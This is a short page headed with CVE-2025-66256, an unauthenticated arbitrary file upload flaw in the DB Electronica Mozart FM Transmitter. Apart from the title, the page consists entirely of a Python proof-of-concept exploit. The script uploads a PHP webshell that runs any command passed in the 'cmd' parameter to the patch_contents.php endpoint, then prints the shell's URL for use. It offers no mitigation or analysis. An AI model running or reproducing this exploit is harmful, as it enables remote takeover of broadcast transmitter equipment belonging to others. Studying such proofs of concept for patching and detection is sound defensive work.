CVE-2025-66256: DB Electronica Mozart FM Transmitter未授权任意文件上传漏洞

import requests import sys # CVE-2025-66256 PoC - Unauthenticated Arbitrary File Upload # Target: DB Electronica Mozart FM Transmitter # Endpoint: /var/tdf/patch_contents.php def upload_shell(target_url, filename="shell.php"): """ Upload malicious file to vulnerable endpoint """ # PHP webshell content webshell = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" # Prepare multipart form data files = { 'file': (filename, webshell, 'application/x-php') } try: # Send POST request without authentication response = requests.post( f"{target_url}/var/tdf/patch_contents.php", files=files, timeout=10 ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") # Check if file was uploaded successfully if response.status_code == 200: shell_url = f"{target_url}/var/tdf/{filename}" print(f"[+] Shell uploaded successfully!") print(f"[+] Access shell at: {shell_url}?cmd=whoami") return shell_url else: print("[-] Upload failed") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://192.168.1.100") sys.exit(1) target = sys.argv[1].rstrip('/') upload_shell(target)